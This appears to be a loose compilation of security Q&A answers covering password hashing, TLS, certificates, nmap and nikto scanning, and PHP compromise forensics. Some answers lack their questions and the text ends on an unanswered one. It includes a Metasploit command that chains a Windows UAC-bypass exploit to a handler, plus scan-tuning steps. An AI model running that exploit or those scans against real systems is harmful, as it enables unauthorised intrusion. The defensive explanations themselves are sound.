How does password_hash/password_verify in php work?

The password_hash function, internally, carries out these steps:

It picks a fresh random salt each time you call it.
It applies a costly hash function that takes as input the random salt, the password, and other algorithm parameters (e.g., cost factors).
It combines the algorithm parameters, random salt and hash output into an output string that can be parsed to recover them individually.

The random choice in #1 is the reason why it produces different output each time even though you supply the same input.  The formatted output from step #3 is what allows password_verify to know the random salt that was chosen by password_hash.


Is it possible to get Network Domain from Client with PHP or Apache?

Not really. You can directly retrieve some agent information and the local IP/hostname but not their workgroup/domain status.

That being said - you could get the hostname and query Active Directory via WMI to see if it is a domain computer, but you can never prove the validity of the hostname.

Another option is that you can authenticate a user against Active Directory/LDAP. You could have a login page that when they authenticate against Active Directory (proving they are a domain user) you let them login.

Also have a look at Authenticating in PHP using LDAP through Active Directory.


Can a web app fingerprint your device as identical to a native app's fingeprint

Potentially, yes.

Usually a mobile OS comes with a browser engine, that is used to both power actual browsers, as well as for running native apps built with web technology. So it is possible that the app you installed and Chrome was running the same browser engine that produces the same fingerprint.

This is a bit speculative though. I don't know for sure if this would work in practice, or if this is what actually happened to you. Might just as well have been your IP that got you blocked.


Improving magnetic stripe card security with a "magnetic noise" hash?

Definitely sounds fragile as Henderson mentioned - but if you can reduce that (perhaps by using say, fuzzy-matching or some sort) it may have some merit as essentially a longer string for track data.

If track data is being stolen somewhere, being able to marry up the exact strings might actually be useful in identifying where trackdata leaked since it is unlikely that that a card in normal use would have the same hash as time goes on. If you begin to see a variance in hashes, for example the 2ca52df6 hash deteriorates to 1cc32342 but you still see 2ca52df6 in places, it can be an indicator that there are two copies of a card around.


There's several proof of concept examples out there, and researchers have been able to use these to steal private keys and user login credentials, among other things.

I have come across a blog post detailing how to use a python script to automate fetching user session information from a vulnerable server. I have also heard people were able to steal Yahoo login credentials in plain text.

So yes - There are attacks that work and potentially anyone could be using them right now.


How to run exploit/windows/local/bypassuac using AutoRunScript?

You need to give the options directly where you are setting the AutoRunScript.

msf exploit(handler) > set AutoRunScript exploit/windows/local/bypassuac LHOST=192.168.0.1 LPORT=443


Why doesn't form based authentication use digest instead of plain text

is it so the digest challenge wouldn't provide any additional security over the form based authentication?

It's actually the other way around: HTTP digest auth requires the server to store all passwords in it's database in plaintext or weakly hashed (e.g. MD5), because it needs to be able to calculate a digest on them. With Basic auth it's possible to store passwords in strongly hashed form (e.g. scrypt), so Basic auth is more secure (in the presence of TLS of course).

  Why doesn't the form based authentication on web browsers use the digest scheme instead?

Form-based authentication isn't really a standard, it's just an approach in which the user is typically presented with a username and password HTML form fields and a Submit button, which triggers the submission of form data to the server via an HTTP POST. That's how HTML forms normally work.

However, you're free to augment this process any way you want, since it's possible to intercept button clicks in JavaScript and completely bypass the form submission. For example, you can implement digest-based authentication via Ajax (e.g. digest-ajax), as well as client-side PBKDF2, bcrypt, scrypt, or really anything else.

  In which context would the digest based scheme actually be more secure than plain text over a secure channel?

It's more secure when for example using a proxy, because the proxy gets to see a digest instead of a plaintext password, thus making it possible to potentially even use a public proxy.


Is it secure to login to your online banking through a third party?

We can't determine whether or not it's secure without doing a full audit (not just of SiD, but your bank). Is it any less secure than not using it? Hard to say, since we don't know how secure the system is without it.

However, what we can say is that you're introducing another entity you need to trust. If you're passing your bank data into SiD, then they have the possibility to use it for fraud. You are trusting them to not.

This isn't unprecedented; I store this information in my password manager, which means I trust it to not intentionally or unintentionally allow bad things to happen to those secrets.

You will have to determine for yourself what level of trust is necessary for you to feel comfortable with SiD.


Bitwarden and gamecontrollerd on OsX Big Sur

TL;DR

gamecontrollerd daemon is part of MacOS environment.
any app which uses chromium underneath (any Electronjs) would launch for some reason this daemon
what actually triggers the unfocusing is ReiKey itself

The gamecontrollerd is related to a new Game Controller framework which is a part of the MacOS system. For some reason Chrome (based on Chromium) and accordingly Electronjs (also based on Chromium) are launching this daemon when you open those apps. For example Spotify would do that, Slack too. The issue might not be the issue at all actually. I recommend to read through the thread on the ReiKey github to get more understanding if this is the problem. Try turn off the apps which are starting this daemon for a while and see if the focus is still lost. I did this test and can confirm it doesn't start. What actually triggers the unfocusing from the active window is ReiKey itself thinking that gamecontrollerd is a suspicious thing. But Patrick Wardle, creator of ReiKey and other security apps, is definitely a trusted person with other eyes watching him as well.


What is a company's benefit of training employees in cybersecurity?

An interesting question.

In mind there's probably at least a few answers.

Training the Average Employee

These days corporations are evolving their average employee training to include cybersecurity with an eye to "if everyone operates securely, we'll be at less risk of loosing business data, reputation, or other key facets of the business to a cybersecurity attack" - this comes down to the "you're only as strong as your weakest link" argument.

However, I don't see the training of this sort being the kind of thing that's really going to increase your job skills - so I'd say this probably isn't the position or type of course you are going for.

Training the Management

Management will always be in the business of weighing tradeoffs between available resources and business goals.  These days "less vulnerable to cybersecurity attack" is a very viable business goal in almost every business of any scale.  Courses that teach management the factors involved in this area and some common techniques for trading of risk to assets vs. cost of security controls is certainly worth while.  There's courses and certifications out there for this, but with an uneducated corporation, you'll have to figure out a way to explain what the risks are for this business and connect it to why the training will help.

Note - this is a management case - if you are not yet management, then making this case will probably be of limited use.

Training Technical Knowledge Workers - IT, Engineering, etc.

My definition here (to be completely vague) is anyone with a job that centers around building "computer stuff" for the company - networking, system administration, software development, solution development, desktop support or any other area - whether this is focused on keeping the tools of the business running or developing product on which the business depends.

The trick to making a case here is that this is just another facet to "using the tools and techniques correctly" - don't make a huge leap from your area of current expertise to a whole new topic.  For example, if you are a system administrator, you may not easily be able to jump to a course in the low level mathematics behind cryptography - if your boss is clued in, he'll have real trouble seeing how that crypto course is going to help you.  But if you are a LINUX admin, taking a course on Securing LINUX is just as relevant to your job as taking Advanced LINUX configuration - it's teaching you how to use a tool correctly and with the best practices that make it easier to maintain.

I'd take it from that angle - "I am a X job, and the company has invested a great deal in A, B, C tools.  The need to securely manage and use these tools has been a growing topic within in the industry.  I'm looking to take a course on security that is relevant to these tools so I can be better and more efficient at making the security features of these tools work correctly for our company".


You should not do this, but if you must, use CBC.

GCM is like CTR mode, but with an authentication tag built into it. Unfortunately, if the nonce (IV) is reused, an attacker can recover the key used for authentication, making the authentication tag all but useless. Now you're basically using CTR mode, and CTR mode does not deal well with nonce reuse. An attacker can recover the XOR of any plaintexts encrypted with the same nonce.

With CBC mode each plaintext block is XORed with the previous ciphertext block, but the first plaintext block is instead XORed with the IV. When an IV is reused, an attacker can tell if the plaintexts share a prefix with a length divisible by the block size (ie you can tell if there is a 16 byte, 32 byte, etc prefix).

Edit: As Xander points out, since GCM's authentication tag is broken when a nonce is reused, this answers your question.


How does a digital certificate prevent impersonation by holding other's certificate?

No.  Possession of the certificate alone is not enough to authenticate a user.  The user must also have possession of the private key corresponding with the public key in the certificate, and must complete some cryptographic operation using that private key, to prove that they have possession of the private key.  See Could a stolen certificate show as trusted? for more information.


Why do processes on servers have socket types associated to the port number?

Your understanding is flawed.

"Ports" are virtual. They exist above IP. A TCP port and a UDP port are two completely isolated things. It's not like there are just 2 << 16 available ports to be shared around.


Reference implementation of C# password hashing and verification

Given your new "government approved" requirement, my guess is that one good solution would be PBKDF2 from RFC 2898.  It is implemented for .NET in Rfc2898DeriveBytes Class (System.Security.Cryptography).  You presumably want to substitute SHA-256 for SHA-1 in there.

I also just ran across the Fairly Secure Hashed Password: fshp which is like PBKDF1 but with SHA-256 by default.  It supports a variable number of iterations, defaulting to 4096.  It uses 64 bit salts.  They have implementations there for .NET, Python, Ruby, Perl, PHP5, Java and JavaScript.

As described and discussed at .net impl of bcrypt - Stack Overflow, it seems that for .NET/CLR another good option (though not NIST-approved) is BCrypt.net:

Derek Slager: BCrypt.net - Strong Password Hashing for .NET and Mono

and for Java a good option is

jBCrypt - strong password hashing for Java

I guess neither seems to have the "pepper" concept, or the space complexity of scrypt.


Why are SSL certificates an annual expense?

Let's start with the cynical view:

Certificate Authorities are for-profit companies, so they will charge as much as they are able to get away with!

More seriously, running a certificate authority is an expensive, low profit margin business, but the answer really comes down to the type of certificate you want.

Domain-Validated (DV) Certificates

For a basic DV cert which, makes your browser address bar look like this:

the costs are very low - basically the CA just needs to confirm that the person requesting the cert had control of the server at the time of request. This can be fully automated. As @SteffenUllrich points out, in 2014 the Electronic Frontier Foundation, Mozilla, and the University of Michigan teamed up to set up a 100% free CA Let's Encrypt for issueing DV certs. Based on the use-case you described in the question, it sounds like that would suit your needs.

Extended Validation (EV) Certificates

If you want the high-end certs that include your verified company name and country in which it is registered to appear in the browser like this:

then there is significantly more cost to the CA. Before issuing an EV cert, the CA is required to have a human verify a whole pile of things about the legal status of your company. Things like: is your company legally registered under the name listed in the cert request? Is the person requesting the cert listed as a legal officer of the company in the company's registration documents? Is the DNS record for the requested website registered to the same company? etc.

Why a recurring fee?

The reason that CAs charge a recurring fee is the same reason that you can't get a 10 year SSL cert: the CA/Browser forum requires certs to expire and be completely re-validated every year or two. The security reasons for this are to force key rollover, to prevent the company from going bankrupt or changing name and a rogue sysadmin from  continuing to use the cert nefariously, etc.

The CA is required to do all this background checking not only on first time issuance, but also every time the cert is renewed. The added value for you is that your customers get a higher level of assurance in the trust-worthiness of your website (sure, 99% of consumers won't notice, but auditors and hackers certainly will!), and also, Google is moving towards giving higher search preference to sites with higher quality certs.

This is why certs can cost hundreds of dollars per year; you are not just paying for a couple bits of data, you are paying for the time of the human who has to do the verification.

OCSP servers

There are also server costs for maintaining a cert, mainly the costs of OCSP, which requires the CA to maintain high-bandwidth, low-latency, zero-downtime servers for responding to revocation checks on each cert they issued. While this might not sound expensive, every web browser must ping a CA's OCSP server during every HTTPS page load. Every extra millisecond that the CA takes to respond adds to the page load time of every page on the internet. Running a low-latency server at this level of traffic is a tricky network engineering problem.

[disclosure: I work for a CA]


The decryption happens on your device, using the password you enter when starting the program, or a stored version of this, if you've selected "remember me" or are using biometric authentication. The password isn't sent to their servers, so the employees don't have access to it.

In more detail: the master password is used to generate an encryption key, which is then used on the client device to encrypt passwords. When you log into a new device, the password you've entered is used to generate the same encryption key, which, since symmetric encryption is used, also allows for decryption. This effectively means that the master password is the key for all the other data stored.

If you change your master password, the client side code re-encrypts all your passwords with the new key generated from this. This can take a while if you have a lot of passwords stored.


Can you securely allow users to create VM's on their workstations

It all comes down to the network segmentation of the VM or container from your host operating system. If you have a guest virtual machine that contains a vulnerable operating system or an container that is hosting an application that is not properly maintained (i.e. patches), assuming that either of this two connect to your corporate network via a bridge network or shared network then you run the possibility of an attack that could penetrate the internal network. If proper steps are taken to segment the VMs or containers network from the host network (i.e host only or custom NAT networks) then there shouldn't be any issues with having users create their own VMs. This is assuming to you have a way to auto-force this settings because I wouldn't trust a process or a human to stick to the proper network enforcement.


ECDHE_RSA_WITH_AES_128_GCM_SHA256 - How to determine ECDHE Key Length?

(CW for anyone who wants to add additional cases)

The size/strength of ephemeral keys for DHE and ECDHE key exchanges in TLS can depend on

the protocol (version)
the server-side implementation code (usually a library), and sometimes configuration
the client-side implementation (ditto)

First, there is a significant difference between TLS 1.0 through 1.2 (plus SSL 3 for DHE, but no one should be using SSL 3 after 2015), versus TLS 1.3. In TLS through 1.2, where ciphersuites of the form you named in your title are used:

DHE parameters are chosen by the server, usually with no input from the client other than offering ciphersuites that allow DHE at all; some server implementations allow configuring the parameters. RFC 7919 in 2016 allows the client, using extension 10 (see below), to specify a small set of standardized groups, all of which are at least 2048 bits, but I don't know any implementation that uses 7919 for <=1.2; see below about 1.3.

(Oracle/Open) Java JSSE server through 7 hardcoded DHE at 768 bits (except 512 bits for export suites, then still supported) and there are quite a few Qs on several Stacks about the problems this caused after Logjam, along with a client maximum of 1024. Java 8 changed default to 1024 bits with an option (system property) for up to 2048 (and also client max 2048). Java providers other than Oracle (like IBM, Android, and for a time Apple MacOSX) may have been or be different.

OpenSSL library requires server application either set parameters with SSL_[CTX_]set_tmp_dh before seeing the ClientHello (although knowing the auth key-and-cert(s) configured) or use SSL_[CTX_]set_tmp_dh_callback to provide a callback that will be called to set parameters for each handshake needing them. Some server programs that use OpenSSL pass this choice on to the user: Apache mod_ssl used to have a hardcoded default and now defaults to RFC 3526 "more IKE" groups of at least 2048 bits, but accepts 'custom' DHE params (in the PEM format OpenSSL commandline generates) along with a server cert in SSLCertificateFile; nginx requires a separate ssl_dhparam directive.

(Anyone want to add others?)
ECDHE is generally limited to the 'named' (standardized) curves specified in RFC 4492 5.1.1 optionally modified by RFC 7027 and more recently (and thus not yet widely implemented) by RFC 8422. 4492 did define options for arbitrary_explicit curves, but in practice no one used them, and 8422 deprecates them. If the client specifies extension 10, which was originally supported-curves and has now been repurposed as supported_groups, that limits the server choice and states a preference the server may follow; although extension 10 was technically optional in 4492, IME clients that implement ECDHE (and other ECC like ECDSA auth) at all do send it unless using the old SSL2-format 'compatibility' hello (as Java 6 and OpenSSL 0.9.8 did by default). But not many allow the content of extension 10 to be configured, and often it doesn't actually constrain the server.

(Oracle/Open) Java 7 server honors client preference, and if no extension uses P-256. I don't have source for 6 but it appears to do the same IF ECDHE is enabled at all -- which it isn't out of the box; JSSE protocol support is present but is only enabled if there is an underlying ECC provider which by default there is not and you have to add. To check: Java 8 up.

OpenSSL library originally required application to call _set_tmp_ecdh[_callback] similar to DHE, but in 1.0.2 allows the application to call _set_ecdh_auto which follows client preference (unless 'Suite B' is configured, which forces P-256 or P-384), and 1.1.0 up does 'auto' by default.

TLS 1.3 changes this substantially. The key exchange is not selected by the ciphersuite but instead controlled only by Hello extensions, and is completed entirely during the Hello exchange using those extensions, not separate ServerKeyExchange and ClientKeyExchange messages that extend into second flight as before. And it limits both DHE and ECDHE to a small set of standardized parameters: for DHE the 7919 groups which are all 2048 bit or more, and for ECDHE only the curves retained by 8422, which are (X9/SECG/NIST) P-256 P-384 P-521 and (Bernstein et al) X25519 X448.


Issues with using a mail server that doesn't support authentication to send mail?

The security consequences of this server to you are likely negligible.  Sending spoofed email is trivial no matter what you do.  Even if you lock down or turn off this server, it will still be simple for anyone to send a spoofed email with a spoofed From: address.  You can't stop it by tightening up this server,  since attackers are free to send their email through any SMTP server you want, and there are too many other open relays in the world to stop this.

The consequences to the rest of the world are that you are arguably contributing, by a tiny amount, to the ease of spam.  You are running an open relay.  Open relays let any spammer send spam with a spoofed From: address.  For these reasons, open relays are considered a bit anti-social and generally frowned upon.

It's a bit like polluting: if you pollute just a little bit, the risk to your own health may be minor, but if everyone did that, our skies would be a horrid haze of pollutants, and everyone would suffer.  Therefore, for everyone's sake, the right thing to do is to avoid running an open relay.

The biggest risk to you is that spam-fighters may detect that your SMTP server is acting as an open relay and blacklist your server as a result.  This could cause email you send to others to be marked as spam by the recipient email system.  For these reasons, you probably don't want to keep your SMTP server available as an open relay.

You can test whether your mail server is configured as an open relay using any number of online testers.

I'm not sure what you mean when you talk about sending an email through this server without any kind of actual spoofing.  I'm not sure what distinction you are drawing.  Connecting to a mail server, pretending to be Alice, and asking it to send email from Alice is exactly spoofing.  In other words, what you're talking about is exactly how email spoofing is done.


Securing application server for a single user

I did something similar before. The web version I put behind a VPN, which had a local rule to forward an IP to a locally hosted webserver. This works if you just want to keep it on web.
I then expanded on it where I actually had a mobile app to pull information through an API. That mobile app had certificate that would allow mutual authentication on the proxy.


UDP scanning is likely to be slower than TCP due to the differences in how the protocol works (i.e. with TCP it's easier to establish that a port is open due to the three-way handshake).

That said it's possible to increase the speed of UDP scans in a couple of ways.  one thing to watch for here is that if you apply too many timing options you risk reducing the accuracy of your scan (i.e. nmap will miss things).  Depending on your goal this may or may not be a problem.

One of the best places to get information about these is in the timing & performance section of the nmap book

From that, ones I tend to use

--max-rtt-timeout

This controls the time that nmap will wait for responses and is pretty key for scanning speed.  What you can do here is measure the typical round trip time of a request using ping or something similar and use that as a base for this.

--max-retries

As mentioned in another answer this is useful.  I wouldn't set 0 or you could miss things but setting 1 or 2 if you're really keen to see a speed-up will help

--max-scan-delay

If nmap things that a host is slow responding it'll start adding this in, and it can really slow the scan down.  Set this low around 10ms and it'll speed things up, but if you have flaky/slow hosts it'll likely miss things

--min-hostgroup

If you're not too concerned about getting results as you go and you have a lot of hosts to do ramping this up will improve things.  Something like 32 or 64 will speed up the overall scan.

Another key point to remember is that for UDP you'll likely only get good results if you use version scanning.  this is because a lot of UDP services only respond if the packet they receive is in the right format.  However version scanning will slow things down so if you're in a hurry set

--version-intensity 0

when using version scanning.


TLS at layer 4 BUT 802.1X EAP-TLS at layer 2?

The "layers" are from an old ISO abstract classification which has been applied to how things really run in the physical world, often with the rhetorical equivalent of a sledgehammer. You should not try to follow layers as gospel, it will often lead to confusion.

SSL/TLS is a protocol which can be applied over a bidirectional data tunnel, and which provides a bidirectional data tunnel, with authentication (server by client, or mutual), confidentiality (through encryption) and verified integrity. In terms of "layers", it goes right between layer 4 and layer 6 of the OSI model, which shows that the concept of "layers" fails to capture the actual position of SSL/TLS.

It so happens that the authentication part of SSL/TLS (the "handshake") consists in a series of messages, which are exchanged in an alternate sequence; see the TLS specification, page 36, for a diagram showing that sequence. In "normal" SSL/TLS, the messages are exchanged over whatever bidirectional data tunnel SSL/TLS is applied on, usually a TCP connection. However, the cryptographic properties of the handshake come from the message contents, not from how they are sent. At that point, consider EAP: this is a framework for authentication protocols, consisting in messages; EAP is meant to be used over any transport mechanism which can send messages ("layer 2" if you really want to think about it in layers). Hence EAP-TLS has been defined: this is an authentication protocol, consisting in a sequence of messages which are the ones specified for the SSL/TLS handshake -- but sent as so many messages over the transport mechanism used by EAP. EAP-TLS is not TLS, it does not provide a tunnel for data; it is a protocol which reuses parts of the handshake which occurs at the beginning of a TLS connection.


How to trace script injection/infection in php app

You don't specify which host o.s. you're on, so I'll assume Linux.
In this revision, I now propose the use of the built in -printf function of find if your instal supports it, as it is vastly more efficient than spawning stat numerous times (possibly for every file).
I contrast the find -printf format against the stat format in this table, in the event that your version of find doesn't provide this function, and you still need to use stat:
#.fi..st.desc.#
# %i  %i inode number
# %s  %s size in bytes
#     %o "optimal I/O transfer size hint"
#     %b count blocks
#     %B block sz
# %A@ %X time of last access, seconds since Epoch
# %T@ %Y time of last data modification, seconds since Epoch
# %C@ %Z time of last status change, seconds since Epoch
# %m  %a permissions, octal
# %P  %n file-path and -name (without starting point)
# %f     file-name only
#     %N file deref'd name (symbolic link)
# %U    user-id
# %G    group-id

vprintf='%i+|%s+|+|+|+|%A@+|%T@+|%C@+|%m+|%P+|+|%U+|%G' &&
  find ~/your_ocart_dir -printf "$vprintf"'\n'

(Note that some metadata aren't available via find - I've left these columns in so outputs produced from each version align.)
But wait, there's more! In this version, I chuck in a SHA2-384 hash of the file for extra-good measure, to be sure, to be sure. (This is limited to only files by -type f.)
find ~/your_ocart_dir -type f -printf "$vprintf"'\n' -exec sha384sum --binary "{}" \;   ## \; ensures alternate printf and sha384 lines

In my earlier version, I suggested you might stat the files and directories before the compromise occurs, to see if there are any differences afterwards?, however, this is less efficient than using the built-in features of find - I leave the stat option here for posterity, if for some reason, your version of find doesn't allow you to extract file metadata.
vstatformat='%i+|%s+|%o+|%b+|%B+|%Y+|%Z+|%X+|%#a+|%n+|%N' &&
  find ~/your_ocart_dir -exec stat --format="$vstatformat" {} \+

You would also grab the web server access logs, maybe in ~/access-logs/? Often times they come through via GET data in the query-string, which will show up in the access log.
Something else I've noticed is the attacks often pull stuff in via wget or curl, or a php function to that affect, write them where they can (ie. a writable upload directory), then call those files (you'll see this in the web server logs), then delete them. To prevent at least some of these being deleted, you could disable the unlink php function using disable_functions in php.ini. (This will let you come along later and find what code was run, however, often times the php code is obfuscated.)
Something else you can do, if you can instal things, use inotify (edit: or fswatch) to spot new files and copy them somewhere when they're first created.


Security characteristics through ISO 25023 standard

I agree that these terms overlap and I also have a hard time differentiating between them in the context of read-access (where Authenticity can not mean the assurance of information 'being authentic' - originating from a known source, but only Authentication as an agent with certain access privileges). But here are some examples involving write-access in which the two concepts differ:

An attacker can read encrypted messages from a channel, and now has gained access to a decryption key. The measure ensuring Confidentiality (the encryption) has been circumvented, but Authenticity may still be in place, in that only the alleged and intended author could have created the messages (asymmetric cryptography can ensure this, as can access control on the channel).
An attacker writes to an encrypted communication channel. Confidentiality requires the plaintext that is being communicated not to be discovered by attackers, which still may very much be in force, even if the attacker can actually read from the channel as well. Authenticity, however, has been defeated, and 'replayed' messages can be used as an angle of attack.

I am under the impression that the distinction is quite common, and that Confidentiality, Integrity and Authenticity (allowing for the convenient initialism CIA) are cited as essential in secure communication. My notes from university - based on the Parkerian Hexad - add Possession, Avaliability and Utility as rather self-evident qualities, but in any case retain the distinction between Confidentiality and Authenticity.


Can portable programs be exploited to steal information?

A "portable" program as you described it is simply a program that does not require any installation.  A great many programs could be portable that are not marked as such.  They don't pose any greater security risk than any other program.  In fact, because they don't require installation, they are generally safer from a stability standpoint since they don't touch system settings.

They don't get any administrative access or anything without going through the same requirements as any other program though, so they are not a particular concern.


Why do some programming language API's not support private key passwords?

Encrypted key files do have some value, but generally the value is limited because the practicality of serving a 24/7 operation dictates that the key must be stored on the filesystem somewhere in unencrypted form.  The alternative of the password being typed in by an administrator each time a server is restarted is terribly impractical and creates risk of the server being down if the password can't be remembered, or the administrator doesn't know it.

Being that Go is a new language, it's naturally going to be feature limited.  Not supporting encrypted key files seems a natural omission on a new webserver.


I actually went ahead and checked out your challenge and noticed that it required the cookie fusion_user for loading up the challenge. This can be confirmed from the BurpSuite Screenshot I have posted below:

Hence when scanning using nikto we will have to send across this cookie along with the requests.

There are two ways that I know of to do this.

Method 1

Open the nikto.conf file in the location /etc/nikto.conf
Search for the text STATIC-COOKIE and add your cookie and its value like the image below.

Now that we have added the cookie you might want to proxy it through burpsuite to verify the traffic that nikto generates. To do so set the proxy in the nikto.conf file as depicted in the image below.

Try running nikto now using the below command

nikto --host https://www.hellboundhackers.org/challenges/pentest/pentest1/index.php -useproxy
[Possible Errors] In case you get the below error proceed to step 6

  ERROR: Proxy error: opening stream: can't connect: proxy connect failed: proxy connect to 127.0.0.1:8080 failed: Invalid argument at
  /var/lib/nikto/plugins/LW2.pm line 5157.

The above error could probably be caused by an SSL Error in Nikto itself. The temporary workaround would be to LW_SSL_ENGINE from auto to SSLeay as depicted in the image below.

Now that you have done all that is required try running the command

nikto --host https://www.hellboundhackers.org/challenges/pentest/pentest1/index.php -useproxy

once again and observe the traffic in BurpSuite, Nikto should now ideally be scanning the Application with your added cookie.

Method 2

The second method is for you to try around. You could set the user-agent in nikto, proxy it through burp and replace the user-agent with the cookie value using the Match and Replace feature of burp.

Do let me know if you find any issues while implementing the above fixes.


When Securing a Websocket connection, does the url have to be hard coded?

Assuming you control all the server-side code on a given origin (that is, there's nothing at the same scheme://host:port combo that is controlled by somebody else), then that's the only part you need to hard-code. In other words, you can hard-code wss://my.domain.com/ (with the port implicit) and as long as you (or a trusted third party) control all the content on that domain, it's fine to dynamically generate the rest of the path to the WS endpoint.
Regarding spoofing the window.location, this is sort of possible - code running on the page can set any path (without changing the origin, or causing an actual navigation) by calling pushState - but that's only a risk if either the site allows untrusted content to be passed to pushState, or if the site can be loaded using a URL with a "weird" path that might look like it's for one page but actually be for another. Assuming you're successfully "stopping invalid URLs from loading the correct page", it's probably not a big concern.
With that said, it's pretty easy to avoid performing concatenation of the WS URI on the client. One option is just to have a single WS endpoint (or a small, known set of them) and send data like what type of media the user is accessing in a message body. Another is to have a fixed list of known WS endpoints that are hardcoded in the script, and select one dynamically based on the current page/URL. Finally, you can ask the server to give you the current endpoint or list of endpoints (generating it dynamically, perhaps in response to some info sent with the request, rather than hard-coding) using AJAX, and either just use the returned one or pick one from the returned list as appropriate.


What is entropy in the context of passwords?

The entropy of a password is defined as the base 2 logarithm of the number of guesses an attacker would have to make in order to be sure of correctly guessing your password.

It's an idea from the science of information theory, and in the information security field it is normally used as a measurement of how resistant a password is to a "brute force attack", which is where an attacker tries every possible password one after another.

If a brute force attack is possible it always works eventually. The catch is in the word "eventually". If an attacker can brute force a password in 20 seconds, then it's not very good. If it takes them two weeks, it's better. If it takes two years, most attackers won't bother.

A password with higher entropy will, on average, take longer to brute force.

You can increase the entropy of a password by either

increasing the length
having a wider range of possible characters (e.g. use upper and lower case and punctuation as well as numbers)
doing both

A 50 digit numeric password has an entropy of about 166. That would be considered very high indeed. I personally use passwords with entropy of around 100, which is pretty high. That is about the same entropy as a 32 digit numeric password.

You can't say how high an entropy is "high enough" without knowing more about the specific system the password is associated with - it depends on how fast the attacker can make guesses.

Let us suppose you use the password to protect a 7zip encrypted file, and your attacker is well resourced and uses a Cray XE6 supercomputer that can do 55 trillion guesses a second. If you're a 12 year old white US male, you have 63 years remaining life expectancy. Some simple math lets us work out that you need an entropy of about 77.5 for a password the Cray will not, on average, break in your lifetime.

If you use a numeric password, then, it will have to be at least 24 digits long (e.g 687374947891238403277394); or if you use mixed case alphanumeric with punctuation, it will have to be at least 12 characters long. (e.g. !cV~#$Liit4F).

It is important to remember, though, that brute force attacks are not the only way to break a password, and that entropy alone does note determine if a password is good or bad.


Will encrypting a dual boot OS prevent viruses from spreading between the two?

Viruses are not an issue when dealing with dual-boot OSes, because usually viruses are single-platform; a Windows virus won't run on Linux and vice versa.
Ransomware on the other hand only cares about data, so if you have a Windows partition that is understood by the Linux filesystem, or vice versa, and you get a ransomware capable of running in the active OS (much more likely for Windows than for Linux, but possible on the latter nonetheless), that ransomware will undoubtedly attempt to lock and ransom both partitions, assuming it has access to the data on them.
Encrypting the partition prevents this from happening, since the encrypted partition will not be readable. On a stock Windows/Linux installation this is a non-issue for Windows programs since Windows has no native support for extfs, btrfs, xfs or any FS that Linux is likely to be installed on.
It is of course possible that a ransomware attempts "blind", whole disk encryption. However, on most OSes this requires a high level access, and some level of understanding of what is being encrypted - attempting to encrypt a swap partition for example would lead to an immediate system crash. So, while possible - which makes encrypted dual boot not an absolute protection - I feel this is an edge case.
MBR virus are quite rare nowadays, and in most cases they won't be able to cope with GRUB and the like. They will probably either not infect the disk at all, or damage the boot loader making one (or both) OSes unbootable except from a rescue disk.


Implications of prominent *secure messaging apps* requiring phone number identifiers

Not having a phone number tied to you wouldn't really stop intelligence agencies from associating you with who you're talking with.

Encryption ensures they can't track what you're talking about, but real time messaging service like these can always track who your talking with, because they need to route messages to the right recipients based on information which is part of the message metadata that's not end to end encrypted. Even without the cooperation of the chat service provider, governments and ISP can get a pretty good idea who you're talking with using timing attack.

To get anonymity, to protect against identification, you need a mixer network (Tor is an example of such mixer network). A mixer network routes your messages over multiple nodes over multiple mutually distrusting jurisdictions to make deanonymization truly difficult. It trades off latency for anonymity. One example of messaging network that runs over a mixer network is TorChat.


Sharing passwords and credentials between founders and employees

I assume what you're looking to achieve here is a scenario where you have something like support@mycompany.com or maybe if you're a very early stage company mail@company.com.

I would honestly suggest that the best approach is not to share passwords at all. For most hosting providers, basic email is not that expensive until you want to scale to having gigabyte accounts etc. I would give each employee their own email address. You can do one of two things - make your generic accounts (where any employee could respond to the query) either inboxes (not in my opinion the best way forward) you all have access to (be sure you know how to recover the password in the event of a disgruntled employee changing it) or you could set that account up to forward the email to all the necessary employees. If you're a small team, that might do for coordinating replies.

The company I work for doesn't actually use email for support. We give our customers some access to our support ticket system (see this list of ticket systems) although we could have configured email submission of tickets too. Either way, when our clients have an issue, they create a ticket and everyone can see them. We also get to assign these to people, so the right developer actually handles the query. If you're handling customer queries like this it might be as well to use such a system if you can as it not only negates the need for sharing inboxes, but allows you much better organisation of your enquiry responses. Hosting such a system isn't that expensive either.

Generally, the best approach to follow with access control is to only give people access to what they need. You are absolutely right to consider what happens if an attacker compromises the account, but what happens if the employee decides to do a little industrial espionage for a competitor? As a start-up your business needs careful protection. So there is a secondary issue to giving out accounts - getting them back again. Make sure you have in place two things:

That you as the business owner have the ability to technically recover whatever you need to quickly. For example, access to your office server you can simply as an administrator disable the account, so you're covered.
Or where that isn't possible, that a condition of getting your last pay-cheque from you is the hand-over of all company assets including arranging hand-over of all passwords like Administrator accounts, passwords to routers and network attached devices i.e. anything the user administers for you and that doesn't have an easy reset mechanism you can use. I would, if I were you, ensure this happens before the last day.

The last thing you want, as a business, for your employee who left because it didn't work out to change the root password on your web server and lock everybody out, especially if they leave a nice rude message on your home page and you have to wait for tech support from your hosting company to take it down.

I'm sure listening to "security types" sounds paranoid and scary, but the truth is, you don't need bank vault security here, just some sensible practises so that should an attacker or employee target you, you have some defensive measures in place such that your business keeps going and the damage is minor.

Edit: I realise you didn't say you are doing development specifically, but that doesn't prevent you using a small scale lite version of a CRM, either.


What is your experience with AlertLogic?

I work for a company that is partnered with AlertLogic. My experience so far has been mixed. I think they have a really solid product that can provide a real security benefit to their customers.

My negative experience has to do with an installation for a client of ours. They required some information from us so that they could configure the devices before hand and ship them out, ready to be installed. One of the devices still had its default configuration and wasn't setup for the network. The process of dealing with them and trying to get things figured out took a lot longer than it should have. They were also apprehensive about giving us access to the devices ourselves. Once we had access, however, we were able to figure out the problem in a matter of minutes.

They are still a relatively new company and I'm customer service situations like the one I had will improve.


How does my bank knows my second and forth chars of my password

This stems from the times people would still use phone banking and an operator was required to ask a password. To prevent the operator from knowing the complete password, he would only receive three characters of the password and their positions.

It's actually not necessarily a bad thing if implemented correctly. You are correct stating that the password is not hashed. This scheme is called a masked or partial password. Some banks use this and the idea behind it is that in the event a client has a keylogger installed on his system, you will never get the complete password. It prevents the user also from storing it in an autocomplete or autofill tool.

Most implementations actually relay the passwords to another service running in the backend (meaning you don't talk directly to the database but to a seperate webservice).

Personally I'm not a fan of these schemes if they are not implemented together with a second factor of authentication. They completely fail at addressing most other malware than keyloggers as well as most social engineering attacks.


It's theoretically possible for software to put a 'digital signature' in the form of a string of readable characters on each page of text (for example, in the footer of each page).

But to verify it, you would have to manually type the whole page into a computer, as well as the signature string of characters. That wouldn't be very practical.


Is this a good approach to secure my REST API?

